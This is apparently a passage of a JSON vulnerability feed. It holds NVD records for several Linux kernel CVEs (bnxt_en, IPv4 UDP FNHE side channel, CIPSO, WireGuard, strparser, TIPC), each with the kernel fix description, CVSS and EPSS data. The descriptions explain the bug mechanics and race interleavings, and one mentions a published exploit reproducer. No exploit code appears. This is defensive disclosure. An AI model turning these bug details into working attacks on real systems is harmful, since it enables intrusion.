NETDEV WATCHDOG: eno1np0 (bnxt_en): transmit queue 0 timed out\n\nThe fault address (0xfc499000) is on an exact 4KB page boundary,\npointing to a DMA read buffer overrun.\n\nIn bnxt_start_xmit(), packets smaller than BNXT_MIN_PKT_SIZE (52 bytes),\nsuch as 42-byte untagged ARP frames, are padded:\n\n    if (length < BNXT_MIN_PKT_SIZE) {\n        pad = BNXT_MIN_PKT_SIZE - length;\n        if (skb_pad(skb, pad))\n            goto tx_kick_pending;\n        length = BNXT_MIN_PKT_SIZE;\n    }\n\n    mapping = dma_map_single(&pdev->dev, skb->data, len, DMA_TO_DEVICE);\n    ...\n    dma_unmap_len_set(tx_buf, len, len);\n\nHowever, 'len' was initialized earlier to skb_headlen(skb) (e.g. 42 bytes)\nand is left unadjusted after padding. Consequently, dma_map_single() and\ndma_unmap_len_set() map and track only 42 bytes.\n\nLater, the hardware TX buffer descriptor is programmed with the padded length:\n\n    txbd->tx_bd_len_flags_type =\n        cpu_to_le32(((len + pad) << TX_BD_LEN_SHIFT) | flags |\n                    TX_BD_FLAGS_PACKET_END);\n\nThe NIC DMA engine is thus instructed to read 52 bytes from a region where\nonly 42 bytes were DMA-mapped. If skb->data ends near the boundary of a 4KB\npage (within 'pad' bytes of the next page), the hardware DMA read overruns\ninto the unmapped adjacent page, triggering an IOMMU fault.\n\nThis issue was exposed after commit 447cbe95ebb9 (\"vlan: fix skb_under_panic\nand races when toggling HW VLAN offload\") because reserving extra VLAN\nheadroom rounded LL_RESERVED_SPACE from 48 up to 64 bytes, shifting skb->data\noffsets and potentially causing small frames to land right against page\nboundaries.\n\nFix this by using skb_put_padto(skb, BNXT_MIN_PKT_SIZE) in\nbnxt_start_xmit(), before skb_shinfo(skb)->nr_frags is sampled,\nbecause padding might linearize the skb.\nThis ensures skb->len and skb_headlen(skb) reflect the padded size so\nthat dma_map_single() maps the full buffer and the descriptor length is\nconsistent. This also removes the temporary 'pad' variable and masking logic.\n\nThe padding is done after the SW USO branch, otherwise\nbnxt_sw_udp_gso_xmit() would account the padding as UDP payload\nand send it in extra segments.\n\nNote that SW USO segments are still not padded: with IPv4, a segment\ncarrying less than 10 bytes of UDP payload (small gso_size, or a short\nlast segment) is sent as a frame shorter than BNXT_MIN_PKT_SIZE.\nThis is a separate issue, left for a followup patch.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:32.293Z","updatedAt":"2026-10-24T14:16:55.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99081","asOf":"2026-10-24T14:16:55.093Z"},"epss":{"probability":0.00461,"percentile":0.39687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99081","type":"primary","publishedAt":"2026-10-23T13:17:32.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99077","cveId":"CVE-2026-99077","aliases":[],"kind":"vulnerability","title":"Linux kernel: ipv4: udp: Create exceptions before socket matching","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: udp: Create exceptions before socket matching\n\nCurrently, when ICMP Fragmentation Needed and Redirect Message packets\nare locally delivered and quote a UDP packet, a FIB nexthop exception\n(FNHE) is only created if the kernel can match the UDP packet to an\nexisting socket.\n\nThis behavior allows off-path attackers to conduct a side-channel attack\non the FNHE cache in order to discover the ephemeral port used by a\nconnected UDP socket.\n\nCommit 6457378fe796 (\"ipv4: use siphash instead of Jenkins in\nfnhe_hashfun()\") and commit 67d6d681e15b (\"ipv4: make exception cache\nless predictible\") tried to mitigate such attacks by making it harder\nfor attackers to discover hash collisions in the FNHE cache and by\nrandomizing the number of exceptions a hash bucket can hold,\nrespectively. Unfortunately, both of the mitigations can be bypassed.\n\nInstead, mitigate such attacks by always creating a FNHE, even before\ntrying to find a matching socket. Do that by calling ipv4_update_pmtu()\nand ipv4_redirect(), the helpers used when the quoted packet did not\noriginate from a socket.\n\nThis means that guesses (right or wrong) from an off-path attacker will\nalways result in a FNHE being created or updated in the cache that the\nattacker can observe.\n\nPass an oif of 0, in a similar fashion to icmp_err(). This is also the\noif used by the socket path for sockets that are not bound to a device.\n\nNote that this does not allow attackers to create FNHEs that they could\nnot create before, as both helpers can already be reached with little to\nno validation. For example, by sending an ICMP error that quotes an ICMP\nEcho Reply or one that quotes a UDP source port that matches a wildcard\nsocket.\n\nAlso note that in the good case (matched socket) the above scheme comes\nat the cost of an extra route lookup, as the no socket helpers perform\ntheir own lookup before the one performed by ipv4_sk_update_pmtu() /\nipv4_sk_redirect(). When the two resolve to different nexthops, it also\nresults in two exceptions being created for the same destination IP. One\nin the FNHE cache of the nexthop resolved by the no socket helpers and\nanother in t","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: udp: Create exceptions before socket matching\n\nCurrently, when ICMP Fragmentation Needed and Redirect Message packets\nare locally delivered and quote a UDP packet, a FIB nexthop exception\n(FNHE) is only created if the kernel can match the UDP packet to an\nexisting socket.\n\nThis behavior allows off-path attackers to conduct a side-channel attack\non the FNHE cache in order to discover the ephemeral port used by a\nconnected UDP socket.\n\nCommit 6457378fe796 (\"ipv4: use siphash instead of Jenkins in\nfnhe_hashfun()\") and commit 67d6d681e15b (\"ipv4: make exception cache\nless predictible\") tried to mitigate such attacks by making it harder\nfor attackers to discover hash collisions in the FNHE cache and by\nrandomizing the number of exceptions a hash bucket can hold,\nrespectively. Unfortunately, both of the mitigations can be bypassed.\n\nInstead, mitigate such attacks by always creating a FNHE, even before\ntrying to find a matching socket. Do that by calling ipv4_update_pmtu()\nand ipv4_redirect(), the helpers used when the quoted packet did not\noriginate from a socket.\n\nThis means that guesses (right or wrong) from an off-path attacker will\nalways result in a FNHE being created or updated in the cache that the\nattacker can observe.\n\nPass an oif of 0, in a similar fashion to icmp_err(). This is also the\noif used by the socket path for sockets that are not bound to a device.\n\nNote that this does not allow attackers to create FNHEs that they could\nnot create before, as both helpers can already be reached with little to\nno validation. For example, by sending an ICMP error that quotes an ICMP\nEcho Reply or one that quotes a UDP source port that matches a wildcard\nsocket.\n\nAlso note that in the good case (matched socket) the above scheme comes\nat the cost of an extra route lookup, as the no socket helpers perform\ntheir own lookup before the one performed by ipv4_sk_update_pmtu() /\nipv4_sk_redirect(). When the two resolve to different nexthops, it also\nresults in two exceptions being created for the same destination IP. One\nin the FNHE cache of the nexthop resolved by the no socket helpers and\nanother in the FNHE cache of the nexthop used by the socket.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:31.787Z","updatedAt":"2026-10-26T16:17:24.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99077","asOf":"2026-10-26T16:17:24.160Z"},"epss":{"probability":0.00322,"percentile":0.24972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99077","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99077","type":"primary","publishedAt":"2026-10-23T13:17:31.787Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99064","cveId":"CVE-2026-99064","aliases":[],"kind":"vulnerability","title":"Linux kernel: cipso: adjust cached option offsets when removing CIPSO","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ncipso: adjust cached option offsets when removing CIPSO\n\ncipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust\ncached offsets for options that follow them.\n\nFor example, with a valid 10-byte CIPSO option followed by a seven-byte\nRR option, parsing records rr at offset 30.  Removing CIPSO moves RR to\noffset 20, while the cached offset remains 30.  Consumers such as\nip_forward_options() and __ip_options_echo() then access the wrong bytes;\nthe latter may interpret packet data as the option length and copy it into\nfixed-size option storage.\n\nMirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and\nrouter_alert offsets when they follow CIPSO.  cipso_len is the distance\nthe first memmove() shifts those options.  The later header move and\nnetwork-header reset relocate the bytes and their offset base together.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ncipso: adjust cached option offsets when removing CIPSO\n\ncipso_v4_skbuff_delattr() removes the CIPSO bytes but does not adjust\ncached offsets for options that follow them.\n\nFor example, with a valid 10-byte CIPSO option followed by a seven-byte\nRR option, parsing records rr at offset 30.  Removing CIPSO moves RR to\noffset 20, while the cached offset remains 30.  Consumers such as\nip_forward_options() and __ip_options_echo() then access the wrong bytes;\nthe latter may interpret packet data as the option length and copy it into\nfixed-size option storage.\n\nMirror cipso_v4_delopt() and subtract cipso_len from the srr, rr, ts and\nrouter_alert offsets when they follow CIPSO.  cipso_len is the distance\nthe first memmove() shifts those options.  The later header move and\nnetwork-header reset relocate the bytes and their offset base together.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:30.253Z","updatedAt":"2026-10-24T14:16:54.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99064","asOf":"2026-10-24T14:16:54.507Z"},"epss":{"probability":0.00516,"percentile":0.43637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99064","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99064","type":"primary","publishedAt":"2026-10-23T13:17:30.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99059","cveId":"CVE-2026-99059","aliases":[],"kind":"vulnerability","title":"Linux kernel: wireguard: noise: reject response consumption after intermediate initiation","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nwireguard: noise: reject response consumption after intermediate initiation\n\nTwo threads begin processing the identical response message, received\ntwice. The first thread, A, runs. While it's running, the second one,\nB, gets partway through, and during that slow calculation, or even while\nblocking on down_write(), A completes and then also a handshake\ninitiation that's already been queued up runs in thread C, which itself\ntakes that same down_write(). The handshake initiation creation\nsucceeds, and sets the state back to waiting-for-response, and calls\nup_write(), at which point thread B resumes, because either its finished\nits calculations or was finally allowed to acquire down_write(). Thread\nB then copies the state back to the peer, and begins a new session,\nusing that state, which is the same session as the one made in thread A.\n\nThread A\t\t\tThread B\t\t\tThread C\n\ndown_read()\n sA = handshake->state\n memcpy(cA, handshake->crypto)\nup_read()\nif (sA != 1)\n goto fail\nslow_crypto(cA)\n\t\t\t\tdown_read()\n\t\t\t\t sB = handshake->state\n\t\t\t\t memcpy(cB, handshake->crypto)\n\t\t\t\tup_read()\n\t\t\t\tif (sB != 1)\n\t\t\t\t goto fail\n\t\t\t\tslow_crypto(cB)\ndown_write()\n if (sA != handshake->state)\n  goto fail\n memcpy(handshake->crypto, cA)\n handshake->state = 2\nup_write()\ndown_write()\n if (handshake->state != 2)\n  goto fail\n derive_session(handshake->crypto)\nup_write()\n\t\t\t\t\t\t\t\tdown_write()\n\t\t\t\t\t\t\t\t slow_crypto(handshake->crypto)\n\t\t\t\t\t\t\t\t handshake->state = 1\n\t\t\t\t\t\t\t\tup_write()\n\t\t\t\tdown_write()\n\t\t\t\t if (sB != handshake->state)\n\t\t\t\t   goto fail\n\t\t\t\t memcpy(handshake->crypto, cB)\n\t\t\t\t handshake->state = 2\n\t\t\t\tup_write()\n\t\t\t\tdown_write()\n\t\t\t\t if (handshake->state != 2)\n\t\t\t\t  goto fail\n\t\t\t\t derive_session(handshake->crypto)\n\t\t\t\tup_write()\n\nThis seems basically impossible to hit in a meaningful way in practice,\nbut ensure that it absolutely cannot happen by comparing the ephemeral\nprivate key that's on the stack with the latest one that the peer's\nhandshake state has.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nwireguard: noise: reject response consumption after intermediate initiation\n\nTwo threads begin processing the identical response message, received\ntwice. The first thread, A, runs. While it's running, the second one,\nB, gets partway through, and during that slow calculation, or even while\nblocking on down_write(), A completes and then also a handshake\ninitiation that's already been queued up runs in thread C, which itself\ntakes that same down_write(). The handshake initiation creation\nsucceeds, and sets the state back to waiting-for-response, and calls\nup_write(), at which point thread B resumes, because either its finished\nits calculations or was finally allowed to acquire down_write(). Thread\nB then copies the state back to the peer, and begins a new session,\nusing that state, which is the same session as the one made in thread A.\n\nThread A\t\t\tThread B\t\t\tThread C\n\ndown_read()\n sA = handshake->state\n memcpy(cA, handshake->crypto)\nup_read()\nif (sA != 1)\n goto fail\nslow_crypto(cA)\n\t\t\t\tdown_read()\n\t\t\t\t sB = handshake->state\n\t\t\t\t memcpy(cB, handshake->crypto)\n\t\t\t\tup_read()\n\t\t\t\tif (sB != 1)\n\t\t\t\t goto fail\n\t\t\t\tslow_crypto(cB)\ndown_write()\n if (sA != handshake->state)\n  goto fail\n memcpy(handshake->crypto, cA)\n handshake->state = 2\nup_write()\ndown_write()\n if (handshake->state != 2)\n  goto fail\n derive_session(handshake->crypto)\nup_write()\n\t\t\t\t\t\t\t\tdown_write()\n\t\t\t\t\t\t\t\t slow_crypto(handshake->crypto)\n\t\t\t\t\t\t\t\t handshake->state = 1\n\t\t\t\t\t\t\t\tup_write()\n\t\t\t\tdown_write()\n\t\t\t\t if (sB != handshake->state)\n\t\t\t\t   goto fail\n\t\t\t\t memcpy(handshake->crypto, cB)\n\t\t\t\t handshake->state = 2\n\t\t\t\tup_write()\n\t\t\t\tdown_write()\n\t\t\t\t if (handshake->state != 2)\n\t\t\t\t  goto fail\n\t\t\t\t derive_session(handshake->crypto)\n\t\t\t\tup_write()\n\nThis seems basically impossible to hit in a meaningful way in practice,\nbut ensure that it absolutely cannot happen by comparing the ephemeral\nprivate key that's on the stack with the latest one that the peer's\nhandshake state has.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:29.620Z","updatedAt":"2026-10-24T14:16:54.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99059","asOf":"2026-10-24T14:16:54.350Z"},"epss":{"probability":0.00444,"percentile":0.3835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99059","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99059","type":"primary","publishedAt":"2026-10-23T13:17:29.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99056","cveId":"CVE-2026-99056","aliases":[],"kind":"vulnerability","title":"Linux kernel: strparser: make sure __strp_recv isn't running before tearing down the parser","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nstrparser: make sure __strp_recv isn't running before tearing down the parser\n\nThe comment above strp_done() claims that if strp is stopped,\nstrp_recv will no longer be called. That's only true if the caller has\na mechanism (eg locking) to guarantee that strp_recv() calls that\nstarted before strp_stop() have completed by the time we call\nstrp_done().\n\nThis adds a dummy lock_sock/release_sock pair to guarantee that any\nin-flight strp_recv() (which runs under either bh_lock_sock or\nlock_sock, depending if it's called from ->sk_data_ready or strp_work)\nhas completed.\n\nOnly espintcp can be affected by this race condition, but this patch\nmakes sure no future user of strp can have the bug.\n\nThis could crash on strp->sk (\"general mode\" of strp), but this mode\nhas been here for 9 years and has never been used. It'll be gone soon,\nno point worrying about it.\n\nSwitch the stopped/paused/etc bits to u8's to avoid races between\nstrp_stop() and strp_pause/unpause().\n\nA reproducer has been published and turns the possible UAF into an\nexploit [1].","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nstrparser: make sure __strp_recv isn't running before tearing down the parser\n\nThe comment above strp_done() claims that if strp is stopped,\nstrp_recv will no longer be called. That's only true if the caller has\na mechanism (eg locking) to guarantee that strp_recv() calls that\nstarted before strp_stop() have completed by the time we call\nstrp_done().\n\nThis adds a dummy lock_sock/release_sock pair to guarantee that any\nin-flight strp_recv() (which runs under either bh_lock_sock or\nlock_sock, depending if it's called from ->sk_data_ready or strp_work)\nhas completed.\n\nOnly espintcp can be affected by this race condition, but this patch\nmakes sure no future user of strp can have the bug.\n\nThis could crash on strp->sk (\"general mode\" of strp), but this mode\nhas been here for 9 years and has never been used. It'll be gone soon,\nno point worrying about it.\n\nSwitch the stopped/paused/etc bits to u8's to avoid races between\nstrp_stop() and strp_pause/unpause().\n\nA reproducer has been published and turns the possible UAF into an\nexploit [1].\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:29.257Z","updatedAt":"2026-10-24T14:16:54.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99056","asOf":"2026-10-24T14:16:54.200Z"},"epss":{"probability":0.00163,"percentile":0.05482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99056&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99056","type":"primary","publishedAt":"2026-10-23T13:17:29.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99056&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99056, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99054","cveId":"CVE-2026-99054","aliases":[],"kind":"vulnerability","title":"Linux kernel: tipc: destroy topsrv workqueues before closing connections","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: destroy topsrv workqueues before closing connections\n\ntipc_topsrv_stop() closed subscriber connections while the topology\nserver's send and receive workqueues were still running. Socket\ncallbacks and subscription events could then queue more work, and\nin-flight send/recv work could drop the last connection reference\nduring the conn_idr walk.\n\nThat race produced several teardown failures: refcount_t addition on\n0 from conn_get() on a connection whose release was blocked on\nidr_lock, a subsequent use-after-free in tipc_conn_close(),\nqueue_work() on an already destroyed workqueue from the listener\ndata-ready callback, and an RCU stall in tipc_topsrv_exit_net()\nwhile the walk spun under idr_lock.\n\nClear srv->listener under idr_lock so it acts as a shutdown flag,\nskip queue_work() once it is NULL, destroy the workqueues to flush\nin-flight work, and only then close the remaining connections.\nRefuse tipc_conn_lookup() after that flag is cleared, and drop\nidr_lock when the teardown walk finds no connection, so an\nin-flight subscription event cannot pin idr_in_use while the\nwalk holds the lock.\n\nv3 supersedes the narrower in-thread diff Tung Quang Nguyen\nposted on 2026-09-23. It keeps his teardown order and adds the\nlookup refusal and the empty-idr unlock.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: destroy topsrv workqueues before closing connections\n\ntipc_topsrv_stop() closed subscriber connections while the topology\nserver's send and receive workqueues were still running. Socket\ncallbacks and subscription events could then queue more work, and\nin-flight send/recv work could drop the last connection reference\nduring the conn_idr walk.\n\nThat race produced several teardown failures: refcount_t addition on\n0 from conn_get() on a connection whose release was blocked on\nidr_lock, a subsequent use-after-free in tipc_conn_close(),\nqueue_work() on an already destroyed workqueue from the listener\ndata-ready callback, and an RCU stall in tipc_topsrv_exit_net()\nwhile the walk spun under idr_lock.\n\nClear srv->listener under idr_lock so it acts as a shutdown flag,\nskip queue_work() once it is NULL, destroy the workqueues to flush\nin-flight work, and only then close the remaining connections.\nRefuse tipc_conn_lookup() after that flag is cleared, and drop\nidr_lock when the teardown walk finds no connection, so an\nin-flight subscription event cannot pin idr_in_use while the\nwalk holds the lock.\n\nv3 supersedes the narrower in-thread diff Tung Quang Nguyen\nposted on 2026-09-23. It keeps his teardown order and adds the\nlookup refusal and the empty-idr unlock.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:29.013Z","updatedAt":"2026-10-24T14:16:54.053Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99054","asOf":"2026-10-24T14:16:54.053Z"},"epss":{"probability":0.00159,"percentile":0.04977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99054","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99054","type":"primary","publishedAt":"2026-10-23T13:17:29.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99053","cveId":"CVE-2026-99053","aliases":[],"kind":"vulnerability","title":"Linux kernel: tipc: hold a reference to nodes found by link name","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: hold a reference to nodes found by link name\n\ntipc_node_find_by_name() returns a node after dropping its RCU read lock\nwithout taking a reference.  The LINK_SET, LINK_GET and LINK_RESET_STATS\nhandlers then lock and access the node, racing with timer-driven cleanup of\na down peer.  Generic netlink serialization does not exclude the node\ntimer.\n\nThe following interleaving can leave a handler using a freed node:\n\n  CPU 0: find the node under RCU and release the node read lock\n  CPU 1: tipc_node_timeout() clears the links and unlinks the down node\n  CPU 1: drop the list and timer references, queuing tipc_node_free()\n  CPU 0: leave the RCU read-side critical section\n  CPU 1: complete the grace period and free the node\n  CPU 0: acquire the node lock through the stale pointer\n\nLINK_SET also uses the node's media address after releasing the node lock,\nwhen passing queued packets to tipc_bearer_xmit().\n\nKASAN on v7.3-rc5 reported:\n\n  BUG: KASAN: slab-use-after-free in _raw_read_lock_bh\n  Write of size 4 at addr ffff88807e06f008 by task poc/92\n  Call Trace:\n   _raw_read_lock_bh                 